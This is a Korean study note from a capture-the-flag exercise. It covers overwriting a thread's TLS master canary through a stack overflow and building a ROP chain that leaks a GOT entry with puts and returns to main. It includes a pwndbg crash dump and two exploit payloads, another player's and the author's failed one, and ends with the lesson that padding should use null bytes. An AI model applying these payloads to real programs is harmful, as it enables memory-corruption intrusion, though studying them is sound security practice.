when overwrite mastercanary padding

우리가 새로운 스레드 영역에서는 tls 영역이 스택과 가까워서 stack overflow로 mastercanary를 덮을 수 있다고 배웠다. 그리고 나도 다음과 같이해서 실제로 덮은 뒤에 bof를 통해 ROP 체인으로 main으로 돌아올려고 하는데

C
pwndbg> c
Continuing.
Reading /usr/lib/debug/.build-id/49/0fef8403240c91833978d494d39e537409b92e.debug from remote target...
[New Thread 27788.27857]

Thread 2 "prob" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 27788.27857]
0x00007ffff7e385b0 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at ./malloc/malloc.c:3658
Download failed: Invalid argument.  Continuing without source file ./malloc/./malloc/malloc.c.
3658	./malloc/malloc.c: No such file or directory.
Download failed: Invalid argument.  Continuing without source file ./malloc/./malloc/malloc.c.
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 RAX  0x7ffff7facc80 (main_arena) ◂— 0
 RBX  0
 RCX  0x7ffff7eb0aab (mprotect+11) ◂— cmpq $-0xfff, %rax
 RDX  1
 RDI  0x11
 RSI  0x10
 R8   0xffffffff
 R9   0
 R10  0xffffffffffffffc0
 R11  0x206
 R12  0x110
 R13  0x404d00 ◂— 1
 R14  0
 R15  0
 RBP  0x7ffff758d640 ◂— 0
 RSP  0x7ffff7d8dc10 —▸ 0x7ffff7d8e640 ◂— 'AAAAAAAAAAAAAAAA'
 RIP  0x7ffff7e385b0 (calloc+144) ◂— movq 8(%rbx), %rbp
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
 ► 0x7ffff7e385b0 <calloc+144>    movq   8(%rbx), %rbp                 <Cannot dereference [8]>
   0x7ffff7e385b4 <calloc+148>    andq   $0xfffffffffffffff8, %rbp
   0x7ffff7e385b8 <calloc+152>    cmpq   %rax, %r13
   0x7ffff7e385bb <calloc+155>    je     calloc+206                  <calloc+206>
 
   0x7ffff7e385bd <calloc+157>    movq   0x173dcc(%rip), %rax            RAX, [mp_+48]
   0x7ffff7e385c4 <calloc+164>    leaq   (, %rax, 4), %rcx
   0x7ffff7e385cc <calloc+172>    negq   %rcx
   0x7ffff7e385cf <calloc+175>    testq  %rax, %rax
   0x7ffff7e385d2 <calloc+178>    movq   $18446744073642442752, %rax     RAX => -67108864
   0x7ffff7e385d9 <calloc+185>    cmoveq %rax, %rcx
   0x7ffff7e385dd <calloc+189>    andq   %rbx, %rcx
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7ffff7d8dc10 —▸ 0x7ffff7d8e640 ◂— 'AAAAAAAAAAAAAAAA'
01:0008│     0x7ffff7d8dc18 —▸ 0x7ffff7ea68d4 (write+100) ◂— movq 8(%rsp), %rax

뭔지 모르겠는데 자꾸 다시 실행되는 main 문에서 오류가 발생한다.

따라서 다른 방식으로 풀고 다른 사람 writeup을 보니 그냥 대놓고 main으로 리턴해서 풀고 있는 것이다. 그래서 확인해보니

Python
#다른 사람 writeup
payload = b"A" * 0x108 + p64(0xAABB00) + p64(0x404C00) + p64(0x00000000004013b3) + p64(read_got) +  p64(puts_plt) + p64(main) 
payload = payload.ljust(0x900, b'\x00')
payload += b"A" * 0x10 + p64(0x404000)
payload += b"A" * 0x10 + p64(0xAABB00)


#내가 실패한 페이로드
payload = b"A" * 0x108 + p64(0xAABB00) + p64(0x404C00) + p64(0x00000000004013b3) + p64(read_got) +  p64(puts_plt)+ p64(main) 
payload += p64(0x404D00) * ( ( 0x900 - 0x110 -0x8*5 ) // 0x8 ) 
payload += b"A" * 0x10 + p64(0x404000)
payload += b"A" * 0x10 + p64(0xAABB00)

다음과 같이 나는 tls 영역까지 p64(0x404D00)을 넣어서 그냥 패딩을 했었다. 근데

다른 사람은 payload.ljust(0x900, b'\x00') 으로 그냥 널바이트로 패딩을 했다.

이차이가 어딘가에서 null인지 확인할때 문제가 생긴 것 같았다…

앞으로 패딩 할때는 특별한 상황아니면, null로 하자..